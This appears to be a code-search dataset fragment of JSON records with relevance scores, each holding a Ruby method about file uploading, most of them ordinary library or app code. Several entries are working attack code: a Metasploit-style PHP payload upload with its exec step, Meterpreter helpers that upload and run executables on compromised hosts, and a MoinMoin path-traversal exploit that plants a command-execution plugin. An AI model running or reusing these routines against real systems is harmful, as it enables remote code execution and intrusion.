"text": "def upload\r\n @fname = \"#{rand_text_alphanumeric(rand(10)+6)}.php\"\r\n php = \"<?php #{payload.encoded} ?>\"\r\n\r\n data = Rex::MIME::Message.new\r\n data.add_part('upload', nil, nil, 'form-data; name=\"op1\"')\r\n data.add_part(php, 'application/octet-stream', nil, \"form-data; name=\\\"fileupload\\\"; filename=\\\"#{@fname}\\\"\")\r\n post_data = data.to_s.gsub(/^\\r\\n--_Part_/, '--_Part_')\r\n\r\n print_status(\"#{peer} - Uploading malicious file...\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'upload.php'),\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => 'access=3',\r\n 'data' => post_data,\r\n 'vars_get' => {\r\n 'op' => 'newin'\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"#{peer} - Request timed out while uploading\") unless res\r\n fail_with(Failure::NotFound, \"#{peer} - No upload.php found\") if res.code.to_i == 404\r\n fail_with(Failure::UnexpectedReply, \"#{peer} - Unable to write #{@fname}\") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\\!/)\r\n\r\n print_good(\"#{peer} - Payload uploaded successfully.\")\r\n register_files_for_cleanup(@fname)\r\n\r\n if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\\/?(.+)<br>/\r\n @upload_path = normalize_uri(target_uri.path, \"#{$1}\")\r\n print_good(\"#{peer} - Found upload path #{@upload_path}\")\r\n else\r\n @upload_path = normalize_uri(target_uri.path, 'in')\r\n print_warning(\"#{peer} - Could not find upload path - assuming '#{@upload_path}'\")\r\n end\r\n end",
"title": ""
},
{
"docid": "68cefd014a67c6c1f3642021a02760c6",
"score": "0.6326169",
"text": "def upload_roster\n end",
"title": ""
},
{
"docid": "a2159e3f7f72536f0efe1e466337e29f",
"score": "0.63218033",
"text": "def upload\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "95c4c24eea74ae0d8206869a13fd6163",
"score": "0.63200855",
"text": "def upload_to_server(dirpath, dir = nil, type)\n files = Dir.glob(\"#{dirpath}\").select { |f| File.file?(f) }\n files.each do |file|\n fname = Pathname.new(file).basename\n if (\"#{fname}\".end_with?('.json') or \"#{fname}\".end_with?('.rb'))\n if dir.nil?\n ui.msg(\"Uploading #{type}: #{fname}\")\n result = `knife #{type} from file #{fname}`\n else\n ui.msg(\"Uploading #{type}: #{dir}/#{fname}\")\n result = `knife #{type} from file #{dir} #{fname}`\n end\n end \n end \n end",
"title": ""
},
{
"docid": "43d23add8909d20eb29b124059140d94",
"score": "0.6294475",
"text": "def exeonly(name,exe,path)\nlocation = session.sys.config.getenv('TEMP')\nprint_status(\"upload in #{location}\")\n\n fileexe = \"#{location}\\\\#{name}\" \n print_status(\"Uploading exe...\")\n session.fs.file.upload_file(\"#{fileexe}\",\"#{exe}\")\n print_good(\"payload uploaded!\")\n print_status(\"Uploaded as #{fileexe}\")\nexec(fileexe,path)\nend",
"title": ""
},
{
"docid": "71b9b22d191d287512d72bda555b4651",
"score": "0.62828845",
"text": "def uploadroutine(target,file,name)\n\t\tbegin\n\t\t\tprint_status(\"Uploading #{name}\")\n\n\t\t\tsession.fs.file.upload_file(\"#{target}\",\"#{file}\")\n\n\t\t\tprint_status(\"Uploaded #{name}\")\n\t\trescue Exception => e\n\t\t\tprint_error(\"Error uploading #{name}\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f3074e64a63b2090f517224370c12122",
"score": "0.6248807",
"text": "def upload!\n AnonymousUploader.enable_processing = true\n @uploader = AnonymousUploader.new(CarrierWaveUpload.new, :avatar)\n @uploader.store!(File.open(\"#{fixture_path}/images/avatar.jpeg\"))\n end",
"title": ""
},
{
"docid": "90635c5a2a431325615d0cc9c062013c",
"score": "0.62335134",
"text": "def upload_event\n end",
"title": ""
},
{
"docid": "83b66bfc1d3e97ed369e0ab6f8516ca5",
"score": "0.62287784",
"text": "def uploader_options=(_arg0); end",
"title": ""
},
{
"docid": "ab7950fa249aa547b4e4f957d4a41504",
"score": "0.6218389",
"text": "def uploader_options; end",
"title": ""
},
{
"docid": "9b8baf0fa1e4c630c105552cb33a00a5",
"score": "0.620953",
"text": "def upload\n Oynx_Back.upload(options, config[\"name\"], File.join(Dir.pwd, config[\"name\"]))\n end",
"title": ""
},
{
"docid": "0d422fd1548dbcc122ecb537d76b29d8",
"score": "0.6205696",
"text": "def upload\n @upload ||= ::Vagrant::Action::Builder.new.tap do |b|\n b.use Berkshelf::Vagrant::Action::Upload\n end\n end",
"title": ""
},
{
"docid": "52933e592eda1d47863258b82bd09b1d",
"score": "0.6174514",
"text": "def upload(session,file,file_name,path,trgloc = nil)\n if not ::File.exists?(file)\n raise \"File to Upload does not exist!\"\n else\n if trgloc == nil\n location = session.fs.file.expand_path(path)\n else\n location = trgloc\n end\n begin\n fileontrgt = \"#{path}#{file_name}\"\n print_status(\"Uploading #{file} to #{path}\")\n session.fs.file.upload_file(\"#{fileontrgt}\",\"#{file}\")\n print_status(\"#{file} uploaded!\")\n rescue ::Exception => e\n print_status(\"Error uploading file #{file}: #{e.class} #{e}\")\n end\n end\n return fileontrgt\nend",
"title": ""
},
{
"docid": "52933e592eda1d47863258b82bd09b1d",
"score": "0.6174514",
"text": "def upload(session,file,file_name,path,trgloc = nil)\n if not ::File.exists?(file)\n raise \"File to Upload does not exist!\"\n else\n if trgloc == nil\n location = session.fs.file.expand_path(path)\n else\n location = trgloc\n end\n begin\n fileontrgt = \"#{path}#{file_name}\"\n print_status(\"Uploading #{file} to #{path}\")\n session.fs.file.upload_file(\"#{fileontrgt}\",\"#{file}\")\n print_status(\"#{file} uploaded!\")\n rescue ::Exception => e\n print_status(\"Error uploading file #{file}: #{e.class} #{e}\")\n end\n end\n return fileontrgt\nend",
"title": ""
},
{
"docid": "56ccd302eb8f6e86a524b416b7bec4e6",
"score": "0.61480945",
"text": "def upload(uploadable, *args)\n case uploadable\n when File, Tempfile\n upload_file(uploadable)\n when String\n upload_file(File.new(uploadable))\n else\n upload_io(uploadable, *args)\n end\n end",
"title": ""
},
{
"docid": "7afacf4eb4f07b109f7fc91a170d2f19",
"score": "0.61465997",
"text": "def upload_bundled_files\n upload_options = {:path => \"/srv/www\", :owner => 'root', :group => 'root'}\n # Upload tarball.\n self.file_upload(\"#{APP_ROOT}/.dister/#{@options.app_name}_application.tar.gz\", upload_options)\n # Upload config files to separate location.\n upload_options[:path] = \"/etc/apache2/vhosts.d\"\n self.file_upload(\"#{APP_ROOT}/.dister/#{@options.app_name}_apache.conf\", upload_options)\n # Upload db related files to separate location.\n upload_options[:path] = \"/root\"\n self.file_upload(\"#{APP_ROOT}/.dister/create_db_user.sql\", upload_options)\n end",
"title": ""
},
{
"docid": "e0eaa1d2405724f51cb40069d65b78dc",
"score": "0.6124197",
"text": "def uploader\n\t\t\t@uploader ||= S3Shuttle::Uploader.new(self, self.class.config[\"credentials\"])\n\t\trescue => error\n\t\t\tlogger.error(error)\n\t\tend",
"title": ""
},
{
"docid": "c6b1995cda83370d443e9451ef5ee280",
"score": "0.6107533",
"text": "def talkphoto_upload\n \n end",
"title": ""
},
{
"docid": "f9733980f58f75c951ea34254f0638f4",
"score": "0.6095456",
"text": "def call\n uploaded_file = shrine_class.uploaded_file(storage: upload_storage, id: upload_location)\n uploaded_file if uploaded_file.exists?\n end",
"title": ""
},
{
"docid": "357dd0483065734cbbf98ef8b3fe77ea",
"score": "0.60859674",
"text": "def upload(file)\n end",
"title": ""
},
{
"docid": "0f48177db582bc25d0215792dbf76c19",
"score": "0.60763043",
"text": "def upload!(local, remote = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "a913f276a3862f2fca33d0ec3651c0d1",
"score": "0.6054403",
"text": "def uploader\n shrine_class.new(storage_key)\n end",
"title": ""
},
{
"docid": "f257efef2b555013f656a40a40492801",
"score": "0.6052348",
"text": "def upload(src, item, modify)\n # :nocov:\n raise \"Forgotten implementation\"\n # :nocov:\n end",
"title": ""
},
{
"docid": "3e01d49823adaa9eb6347d0022030e08",
"score": "0.605055",
"text": "def upload(filename, args={})\n args['index'] = @name\n args['name'] = filename\n @service.request(:method => :POST,\n :resource => [\"data\", \"inputs\", \"oneshot\"],\n :body => args)\n end",
"title": ""
},
{
"docid": "ef34af301097367fc0669cd2695ce59e",
"score": "0.6038401",
"text": "def uploaded_file(object, &block)\n shrine_class.uploaded_file(object, &block)\n end",
"title": ""
},
{
"docid": "50ff404393409f92ead7665ae8ce06f6",
"score": "0.60238737",
"text": "def upload(filename, args={})\n args['index'] = @name\n args['name'] = filename\n path = 'data/inputs/oneshot'\n @service.context.post(path, args)\n end",
"title": ""
},
{
"docid": "1a76a3a4031df023263129eabeabb6ce",
"score": "0.5999511",
"text": "def character_upload\n end",
"title": ""
},
{
"docid": "120ff6994760e24289fe22b1514fa0f3",
"score": "0.598851",
"text": "def uploadCurFile(request, form, entity)\r\n uploadDir = @controller.fileUploadUtil.uploadDir\r\n curFilename = entity.originalFilename\r\n\r\n uid = BotListUniqueId::getUniqueId()\r\n newFilename = \"img#{uid}.jpg\"\r\n\r\n fileUpload = JFile.new(\"#{uploadDir}/#{newFilename}\")\r\n entity.transferTo(fileUpload)\r\n\r\n # Create the image metadata bean\r\n metadata = BotListPostImageMetadata.new\r\n metadata.imageFilesize = entity.size\r\n metadata.imageFilename = newFilename\r\n metadata.imageOriginalname = curFilename\r\n return metadata\r\n end",
"title": ""
},
{
"docid": "cc11c93a14e7570bc5652caad56f734c",
"score": "0.5983987",
"text": "def servicephoto_upload\n \n end",
"title": ""
},
{
"docid": "60c0b463e9d2c388105b438b0e004dd7",
"score": "0.59790987",
"text": "def redactor_upload\n owner_type, owner_id, file = prepare_owner_type(request[:owner_type]), request[:owner_id], request[:file]\n raise ArgumentError.new I18n.t('neofiles.data_not_passed') if owner_type.blank? || owner_id.blank?\n raise ArgumentError.new I18n.t('neofiles.file_not_passed') unless file.present? && file.respond_to?(:read)\n\n file_class = Neofiles::File.class_by_file_object(file)\n\n file = file_class.new do |f|\n f.owner_type = owner_type\n f.owner_id = owner_id\n f.description = request[:description].presence\n\n f.no_wm = true if f.respond_to? :no_wm\n f.file = file\n end\n\n Rails.application.config.neofiles.before_save.try!(:call, file)\n file.save!\n\n # returns JSON {url: '/neofiles/serve-file/#{file.id}'}\n render json: {filelink: neofiles_file_path(file), filename: file.filename, url: neofiles_file_path(file), name: file.filename}\n end",
"title": ""
},
{
"docid": "89c06ee4f6cd4cada6f9605cc9075528",
"score": "0.59709305",
"text": "def generate_uploader\n u = {}\n u[:server] = \"http://#{CONFIG[:s3_bucket]}.s3.amazonaws.com/\"\n u[:aws_id] = CONFIG[:aws_access_id]\n u[:max] = 50.megabytes\n u[:extensions] = \"*.jpeg;*.jpg;*.gif;*.bmp;*.png\"\n u[:key] = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp \n u[:policy] = Base64.encode64(\n \"{'expiration': '#{6.year.from_now.\n utc.strftime('%Y-%m-%dT%H:%M:%S.000Z')}',\n 'conditions': [\n {'bucket': '#{CONFIG[:s3_bucket]}'},\n {'acl': 'public-read'},\n {'success_action_status': '201'},\n ['content-length-range',0, #{u[:max]}],\n ['starts-with', '$key', '#{u[:key]}'],\n ['starts-with', '$Filename', '']\n ]\n }\").gsub(/\\n|\\r/, '')\n u[:signature] = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n CONFIG[:aws_secret_key],\n u[:policy])).gsub(\"\\n\",\"\")\n @upload_config = u\n end",
"title": ""
},
{
"docid": "d894ebf39329ddab315c3ebba7a748d6",
"score": "0.59706515",
"text": "def start_upload\n no_error = true # This is the value we expect from each of the following methods\n\n # Upload inspection\n no_error = upload_inspection\n\n # Upload inspection items\n no_error = upload_inspection_items if no_error\n\n # Upload inspection item photos\n no_error = upload_inspection_item_photo_to_remote if no_error\n\n no_error = upload_inspection_item_photos if no_error\n\n # Finalize inspection\n finalize_inspection if no_error\n end",
"title": ""
},
{
"docid": "b75f11a3ed08944c8bbfcd043191e91a",
"score": "0.5962589",
"text": "def upload_file(file_path)\n ext = File.extname(file_path).downcase\n available_containers.each do |container|\n instance_variable_set \"@#{container}_ids\", []\n end\n file_name = File.basename(file_path)\n private_workspace = current_user.private_workspace\n available_items = private_workspace.available_items.split(',') & current_container.available_items.split(',')\n @workspace_ids << private_workspace.id\n if current_container != private_workspace\n eval(\"@#{current_container_type}_ids << #{current_container.id}\") \n end\n if ['.png','.jpeg','.gif','.jpg','.bmp'].include?(ext) && available_items.include?('image')\n i = Image.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.image = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n logger.info(\"Image with id #{i.id} created\")\n end\n elsif ['.wav','.mp3','.wma','.mp4'].include?(ext) && available_items.include?('audio')\n i = Audio.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.audio = File.new(file_path)\n available_containers.each do |container|\n p \">>>>>>>>>>>>>>>>>>>>>..\"\n p container\n p eval(\"@#{container}_ids\")\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n i.save\n if i.save\n i.update_attributes(:state => 'uploaded')\n Delayed::Job.enqueue(EncodingJob.new({:type=>\"audio\", :id => i.id, :enc=>\"mp3\"}))\n logger.info(\"Audio with id #{i.id} created\")\n end\n elsif [\".mov\", \".mpeg\", \".mpg\", \".3gp\", \".flv\", \".avi\"].include?(ext) && current_container.available_items.split(',').include?('video')\n i = Video.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.video = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n i.update_attributes(:state => 'uploaded')\n Delayed::Job.enqueue(EncodingJob.new({:type=>\"video\", :id => i.id, :enc=>\"flv\"}))\n logger.info(\"Video with id #{i.id} created\")\n end\n elsif [\".txt\",\".doc\",\".pdf\"].include?(ext) && available_items.include?('cms_file')\n i = CmsFile.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.cmsfile = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n logger.info(\"CmsFile with id #{i.id} created\")\n end\n else\n logger.error(\"Item with extension #{ext} is not allowed\") \n end\n end",
"title": ""
},
{
"docid": "331813c57a011ca5677ce29de28220f5",
"score": "0.595756",
"text": "def upload(file_name)\n #fazendo o upload da imagem\n #usando Dir.pwd serve para obter o caminho do diretorio principal do projeto\n # guardo na variavel thumb e chamo no find\n #como o imput esta com display: none usa o visible: false para ignorar o display\n thumb = Dir.pwd + \"/features/support/fixtures/images/\" + file_name\n find(\"#thumbnail input[type=file]\", visible: false).set thumb\n end",
"title": ""
},
{
"docid": "07ef8b12521a0311c39c63b8e0766036",
"score": "0.5956486",
"text": "def exec\r\n print_status(\"#{peer} - Executing #{@fname}...\")\r\n res = send_request_raw({\r\n 'uri' => normalize_uri(@upload_path, @fname),\r\n 'cookie' => 'access=3'\r\n })\r\n if res and res.code == 404\r\n fail_with(Failure::NotFound, \"#{peer} - Not found: #{@fname}\")\r\n end\r\n end",
"title": ""
},
{
"docid": "52794bb6d29f6c31feeb9f27c4fb42df",
"score": "0.5947567",
"text": "def exploit\r\n upload\r\n exec\r\n end",
"title": ""
},
{
"docid": "ed56852bd57855f6d55600da9f3e0ce4",
"score": "0.59461457",
"text": "def upload(local, remote = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "33fd76b642eff626becfed86916cfc50",
"score": "0.5945937",
"text": "def upload_file(file_uri, html_filename, destination_path)\n\n # binding.pry\n if(file_uri[/^http/])\n # TODO Sjekke at filen ligger på samme server eller annen server\n filename = file_uri\n else\n filename = (Pathname.new(html_filename).parent + Pathname.new(file_uri)).to_s\n end\n\n\n basename = Pathname.new(file_uri).basename.to_s\n destination_filename = destination_path + '/' + basename\n\n content = nil\n begin\n # puts \"Filename => \" + filename.to_s\n timeout(15) do # Makes open-uri timeout after 10 seconds.\n begin\n content = open(filename).read\n rescue\n puts \"Error: Timeout: \" + filename\n log_error('timed-out',filename)\n return nil\n end\n end\n rescue\n puts \"Logging error: File not found : \" + filename if(@debug)\n log_error('file-not-found',filename)\n end\n if(content)then\n # Downcase path but not destination_filename:\n arr = destination_filename.split(/\\//)\n destination_filename = arr[0..arr.size-2].join(\"/\").downcase + \"/\" + arr.last\n\n puts \"File uri : \" + file_uri if(@debug)\n puts \" Copying : \" + filename if(@debug)\n puts \" To : \" + destination_filename if(@debug)\n\n if(@vortex.exists?(destination_filename))\n puts \" Warning : \" + destination_filename + \" exists on server.\"\n else\n # binding.pry\n @vortex.put_string(destination_filename, content)\n log_upload('file', filename.sub(@html_dir,''), destination_filename.sub(@vortex_path,''))\n end\n end\n end",
"title": ""
},
{
"docid": "b92f15d1de61e7e733275eb911dbd814",
"score": "0.59412557",
"text": "def file_first(name, &blk)\n \n define_action \"#{name}_request_tempfile\".to_sym do\n id = \"#{self.class.to_s}_#{name}_#{Time.now.to_i.to_s}_#{rand(9999999).to_s}\"\n File.open(File.join(APP_ROOT, \"tmp\", id), \"w\") {|f| f.write \"\"}\n current_user.transmit(\"App.tempfile\" => {id: id, req_id: params[\"req_id\"]})\n end\n \n define_action \"#{name}_receive_file\".to_sym do\n File.open(File.join(APP_ROOT, \"tmp\", params[\"id\"]), \"ab\") {|f| f.write Base64.decode64(params[\"chunk\"])}\n if params[\"complete\"]\n current_user.transmit({\"App.finished_upload\" => {id: params[\"id\"], req_id: params[\"req_id\"]}})\n end\n end\n end",
"title": ""
},
{
"docid": "bd0e24e7df7de76f02c53a89162baa29",
"score": "0.5927679",
"text": "def uploader\n shrine_class.new(storage_key)\n end",
"title": ""
},
{
"docid": "51fdbe00dd1fd140ed9ef4e8a5a4a3f8",
"score": "0.59193826",
"text": "def media_uploader(params)\n local_required_params = %w{ displayMode form_media-uploader-form vessel video-editorid\n\t\t\tvideos_count videos videosTableRowToMove virtual-tour-editorid\n\t\t\tvrtours_count vrtours vrtoursTableRowToMove sound-editorid\n\t\t\tsounds_count sounds switch newMsgText show vesselMenuVesselOwner\n\t\t\tvesselMenuVesselName vesselMenuVesselForCharter vesselMenuVesselSalesman\n\t\t\tvesselMenuVesselCompany vesselMenuVesselCharterAgent backurl\n\t\t }\n\n main_required_params = %w{ main-profile-photo-editorid main-profile-photo main-profile-photo_fake \n\t\t\t\tmain-profile-photo-editordimensions savemain-profile-photo-editor }\n\n other_required_params = %w{ more-upload-picture section images-upload-button\tvessel-picture-editorid existing-file-names }\n\n # Create\n# (0..4).each do |i|\n#\t\t {\n# \t\t\tupload-pictureX upload-pictureX_fake descriptionX\n# \t\t\tupload-picture0-brightness upload-picture0-contrast \n#\t\t\tupload-picture0-saturation upload-picture0-rotate\n#\t\t\tupload-picture0-ctx upload-picture0-cty\n#\t\t\tupload-picture0-cbx upload-picture0-cby\n#\t\t }\n# end\n # picturesX_count, picturesX\n\n # Delete\n# pictures-2editorXremove\n# pictures-2_remove\n\n raise YachtCouncilError, \"bad params #{params.inspect}\" unless valid_keys?(params, local_required_params)\n\n if params[:switch] == \"main-profile-photo-editor\"\n raise YachtCouncilError, \"bad params #{params.inspect}\" unless valid_keys?(params, main_required_params)\n elsif params[:switch] == \"vessel-picture-editor\"\n raise YachtCouncilError, \"bad params #{params.inspect}\" unless valid_keys?(params, other_required_params)\n else\n raise YachtCouncilError, \"unknown switch #{params[:switch]}\"\n end \n\n return MockYachtCouncilResponse.new(fixture(\"yc_photos_page.html\"))\n end",
"title": ""
},
{
"docid": "7566f5db01f8d3db887fd3a24f44b8e0",
"score": "0.59109366",
"text": "def productphoto_upload\n \n end",
"title": ""
},
{
"docid": "7508fb94889417cfc7e927b0d22b347a",
"score": "0.5909332",
"text": "def offer_upload\n # An @ var created here is visible insize ah_options() over in\n # application_helper.rb. For now it is hard coded, but could be\n # generalized later without too much trouble.\n\n # @menu_items = [\"xingest\", \"xmeta\"]\n\n #@upload = {}\n @ig_dir = \"\"\n @uuid = \"\"\n if (params.has_key?(:uuid))\n #@upload['uuid'] = params[:uuid]\n @uuid = params[:uuid]\n end\n if (params.has_key?(:dir))\n @ig_dir = params[:dir]\n end\n\n # See notes above.\n \n # render :file => 'app/views/hello_world/offer_upload.html.erb'\n end",
"title": ""
},
{
"docid": "73f3099395b54adc530b5d168722398e",
"score": "0.59071064",
"text": "def quick_upload\n if params.has_key? :from_ie\n @file = current_user.save_in_admin_quick_uploading_cache params[:media], params[:title], params[:description], params[:tags] if params.has_key? :media\n redirect_to '/admin/media_elements/new' \n else\n @file = current_user.save_in_admin_quick_uploading_cache params[:media], params[:title], params[:description], params[:tags]\n end\n end",
"title": ""
},
{
"docid": "a193f2c5df3352c17c48ccf0ed2e4fe9",
"score": "0.59032",
"text": "def on_upload_start(request)\n end",
"title": ""
},
{
"docid": "49fc742a33445fd7dcee959710871bcb",
"score": "0.5897222",
"text": "def upload(filename, class_name, options={})\n# puts \"Uploading #{class_name}\"\n # check whether it should upload again\n tmp = Dir.tmpdir()\n md5file = \"simple_worker_#{class_name.gsub(\"::\", \".\")}_#{access_key[0, 8]}.md5\"\n existing_md5 = nil\n f = File.join(tmp, md5file)\n if File.exists?(f)\n existing_md5 = IO.read(f)\n end\n # Check for code changes.\n md5 = Digest::MD5.hexdigest(File.read(filename))\n new_code = false\n if md5 != existing_md5\n SimpleWorker.logger.info \"Uploading #{class_name}, code modified.\"\n File.open(f, 'w') { |f| f.write(md5) }\n new_code = true\n else\n# puts \"#{class_name}: same code, not uploading\"\n return\n end\n\n\n zip_filename = build_merged_file(filename, options[:merge], options[:unmerge], options[:merged_gems])\n\n# sys.classes[subclass].__file__\n# puts '__FILE__=' + Base.subclass.__file__.to_s\n# puts \"new md5=\" + md5\n\n\n if new_code\n# mystring = nil\n# file = File.open(filename, \"r\") do |f|\n# mystring = f.read\n# end\n# mystring = Base64.encode64(mystring)\n# puts 'code=' + mystring\n options = {\n \"class_name\"=>class_name,\n \"file_name\"=> File.basename(filename)\n }\n #puts 'options for upload=' + options.inspect\n ret = post_file(\"code/put\", File.new(zip_filename), options)\n ret\n end\n end",
"title": ""
},
{
"docid": "a64e9e6f112c16f6f697f50b1e8f53bd",
"score": "0.5895191",
"text": "def upload_pack!\n exec_in_repo! \"git-upload-pack\", path.to_s\n end",
"title": ""
},
{
"docid": "1d0b46e1a13240517827e518da93873b",
"score": "0.58883417",
"text": "def upload\n raise \"invalid provisioner\"\n end",
"title": ""
},
{
"docid": "69514bc6545799a0654e198251372cc3",
"score": "0.5887827",
"text": "def upload\n # @resource.clean_uploads # might want this back cleans database to match existing files on file system\n @file = FileUpload.new(resource_id: resource.id) # this is apparantly needed for the upload control\n @uploads = resource.latest_file_states\n render 'upload_manifest' if resource.upload_type == :manifest\n end",
"title": ""
},
{
"docid": "37f48427a61d34b4a2fcac8e5a113792",
"score": "0.58813936",
"text": "def deploy_evil_plugin\n @param = randz(1).downcase\n payload = \"drawing.s if()else()\\nimport os\\ndef execute(p,r):exec\\\"print>>r,os\\\\56popen(r\\\\56values['#{@param}'])\\\\56read()\\\"\"\n uri = URI.parse(\"http://#{@target}/#{@prefix}moin/WikiSandBox?action=twikidraw&do=save&ticket=#{@ticket}&target=../../../../data/plugin/action/moinexec.py\")\n\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n\n post_body = []\n boundary = randz(12).downcase\n post_body << \"--#{boundary}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"filename\\\"\\r\\nContent-Type: image/png\\r\\n\\r\\n#{payload}\\r\\n--#{boundary}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"filepath\\\"; filename=\\\"drawing.png\\\"\\r\\nContent-Type: image/png\\r\\n\\r\\nBLAH\"\n post_body << \"\\r\\n--#{boundary}--\\r\\n\"\n request.body = post_body.join\n request[\"Content-Length\"] = post_body.join.size\n request[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.code.to_i == 200\n return @param\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "95905529efc23c49255b3cc63d8e11cf",
"score": "0.5867316",
"text": "def uploader\n @shrine_class.new(@storage_key)\n end",
"title": ""
},
{
"docid": "95905529efc23c49255b3cc63d8e11cf",
"score": "0.5867316",
"text": "def uploader\n @shrine_class.new(@storage_key)\n end",
"title": ""
},
{
"docid": "fb9b46e2b0219543574597b076d86dc6",
"score": "0.58591527",
"text": "def run_hyunwoo_20140520_upload \n v_base_path = Shared.get_base_path()\n @schedule = Schedule.where(\"name in ('hyunwoo_20140520_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting hyunwoo_20140520_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n end",
"title": ""
},
{
"docid": "926ed40baa03131e6caffe69fee5a260",
"score": "0.5851169",
"text": "def upload(out_file)\n unless params[:file] &&\n (tmpfile = params[:file][:tempfile]) &&\n (name = params[:file][:filename])\n \n @error = \"Bugger! No file selected\"\n return haml(:index)\n end\n\n #write to it in chunks\n while blk = tmpfile.read(65536)\n File.open(out_file, \"ab\") { |f| f.write(blk) }\n STDERR.puts blk.inspect\n end\n out_file\nend",
"title": ""
},
{
"docid": "457f589782dd14d0823d6e5557b2563d",
"score": "0.5847235",
"text": "def upload_image_file(args = {}) \n post(\"/files.json/captiveportal/images\", args)\nend",
"title": ""
},
{
"docid": "8dec059addd5e1b745a16fa5b29b0330",
"score": "0.5846976",
"text": "def audior_upload\r\n\r\n #write to local directory\r\n begin\r\n @f = File.new(\"#{Rails.root}/public/audio_clips/#{params[:userId]}.mp3\", \"wb\")\r\n @f.write(request.raw_post)\r\n @f.close\r\n render :text => \"save=ok&fileurl=/audio_clips/#{params[:userId]}\"\r\n rescue\r\n render :text => \"save=fail\"\r\n end\r\n \r\n #upload to S3 - note that needed to add .mp3, and that content-type being saved as image for some reason\r\n bucket_name = ENV['VG_BUCKET_NAME']\r\n source_filename = \"#{Rails.root}/public/audio_clips/#{params[:userId]}.mp3\" \r\n\r\n AWS.config(\r\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\r\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY']\r\n )\r\n\r\n # Create the basic S3 object\r\n s3 = AWS::S3.new\r\n\r\n # Load up the 'bucket' we want to store things in\r\n bucket = s3.buckets[bucket_name]\r\n\r\n # If the bucket doesn't exist, create it\r\n unless bucket.exists?\r\n puts \"Need to make bucket #{bucket_name}..\"\r\n s3.buckets.create(bucket_name)\r\n end\r\n\r\n # Grab a reference to an object in the bucket with the name we require\r\n object = bucket.objects[File.basename(source_filename)]\r\n\r\n # Write a local file to the aforementioned object on S3\r\n object.write(:file => source_filename)\r\n\r\n logger.warn \"AUDIOR_UPLOAD\"\r\n\r\n logger.warn params[:userId]\r\n \r\nend",
"title": ""
},
{
"docid": "863366898937bfa30c1e0881036ffe70",
"score": "0.5845537",
"text": "def distribute!\n\t files.upload(filename, remote_filename)\n\t decompress_remote_file\n\t end",
"title": ""
},
{
"docid": "6811e851e71dbf94d1d31e335c9d6b37",
"score": "0.58453035",
"text": "def upload!\n response = Seaweed::HTTP.put url, file: File.new(@attachment, 'rb')\n data = Seaweed::HTTP.parse response\n @name = data[:name]\n @size = data[:size]\n self\n end",
"title": ""
},
{
"docid": "ca94d9773cf583e02cea75a9821bec04",
"score": "0.58452576",
"text": "def upload\n policyfile_uploader.upload\n end",
"title": ""
},
{
"docid": "3eac693cf9a247a25e94b3386f4add1c",
"score": "0.58447295",
"text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{dest}'...\"\n\n uploader = nil\n File.open(src, \"r\") do |file|\n uploader = connection.get_chunked_uploader(file, file.stat.size)\n while uploader.offset < uploader.total_size\n with_retries do\n uploader.upload(1024**2 * chunk_size)\n end\n end\n end\n\n with_retries do\n uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end",
"title": ""
},
{
"docid": "85c44205d1b8370040676580fe12791f",
"score": "0.5844391",
"text": "def create_upload io\n post_request \"uploads\", {file: io}\n end",
"title": ""
},
{
"docid": "4e58bfe7c9dc5d50ba446e7d7e56ef06",
"score": "0.5836171",
"text": "def upload(file, context)\n uploader.upload(file, context)\n end",
"title": ""
},
{
